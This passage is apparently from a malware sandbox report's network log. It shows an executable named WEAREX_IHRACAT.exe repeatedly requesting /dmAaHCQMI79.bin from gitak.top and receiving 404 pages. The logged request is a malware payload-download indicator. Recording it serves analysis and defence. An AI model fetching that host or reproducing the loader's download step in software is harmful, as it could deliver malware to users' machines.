2024-08-29 10:43:49 UTC	694	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:43:49 UTC	1369	IN	Data Raw: 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 09 09 7d Data Ascii: margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}
2024-08-29 10:43:49 UTC	910	IN	Data Raw: 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 Data Ascii: 2.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.627
2024-08-29 10:43:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.11.20	49797	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:43:59 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:43:59 UTC	679	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:43:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 32 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=66FqERb112nzweANwbLdsasmMz7%2FDYqGhx8TV%2BInDLuRcE3Xe9%2Fo0CcLb1X7S4Ag3zmA6d8YHlL7KsnZVtsScPJoowdkcYp3L01kOBtHiO2kCiw%2Bl5qVENt0YzA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf17898bac9bc-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:43:59 UTC	690	IN	Data Raw: 62 39 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b95<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:43:59 UTC	1369	IN	Data Raw: 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a Data Ascii: ;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;
2024-08-29 10:43:59 UTC	913	IN	Data Raw: 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 Data Ascii: 53 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6
2024-08-29 10:43:59 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-08-29 10:43:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.11.20	49798	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:44:09 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:44:10 UTC	683	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:44:10 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 43 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EAyowupOWb5VXJ8gC4tntqPW5lHx8Wi31AqO8BiSuyacK%2BvW%2Bj8bdTSJccpv2AWsWdcPSFfIJC7JQrZwlmmGQw%2FXHYGg793%2F%2BJA0Oo8Nv7kyTTDfZi4IsfhJB%2F4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf1ba687f1ffa-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:44:10 UTC	686	IN	Data Raw: 62 39 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b95<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:44:10 UTC	1369	IN	Data Raw: 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 Data Ascii: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fade
2024-08-29 10:44:10 UTC	917	IN	Data Raw: 2d 32 2e 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 Data Ascii: -2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h
2024-08-29 10:44:10 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-08-29 10:44:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.11.20	49799	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:44:20 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:44:20 UTC	671	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:44:20 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 53 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NUQZXjbzj6ju5s79yPBAjZRr5ZbQySffRYXyCiog5C98MrYxjtX4dfqOvzHoEREzjEpqkWEcgtlnPMoUI77jkK34azHbAEx6NuWJoGWLZ0hVfIDXRrbRWywH9Fw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf1fc3cdb8292-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:44:20 UTC	698	IN	Data Raw: 62 39 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b95<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:44:20 UTC	1369	IN	Data Raw: 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 09 09 7d 0a 0a 09 09 Data Ascii: rgin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}
2024-08-29 10:44:20 UTC	905	IN	Data Raw: 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 20 30 20 31 Data Ascii: 5 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 1
2024-08-29 10:44:20 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-08-29 10:44:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.11.20	49800	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:44:30 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:44:31 UTC	685	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:44:31 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 64 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jz7VFTiPKQF%2BrRLpb7vN69gK1%2BcUzeYu3BFQsHzO%2FmQB7Hoyaz7PP2PEJ91Iqz4OhWro%2BvS41XUpNsShp%2FwWXGND%2BNVq9DVAV5IhPeLjK9dkC%2FnuyGJawWmzKiU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf23dfbae9c19-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:44:31 UTC	684	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:44:31 UTC	1369	IN	Data Raw: 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 Data Ascii: : 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fa
2024-08-29 10:44:31 UTC	920	IN	Data Raw: 38 36 2d 32 2e 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 Data Ascii: 86-2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 1
2024-08-29 10:44:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.11.20	49801	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:44:41 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:44:41 UTC	681	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:44:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 74 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dSvQgm36B3CQEVixDq3DLwJqqF5XXqvULb76%2FrqY6JwvfSAYG14bICP2RkC3%2BlivDeQ11NRp0ElYQUdvNinDT9QqQ0DxTADa9IU3zT%2B7VYeAVDpivDoFpGi%2Fe%2BU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babf27f88a9c942-IAD alt-svc: h3=":443"; ma=86400
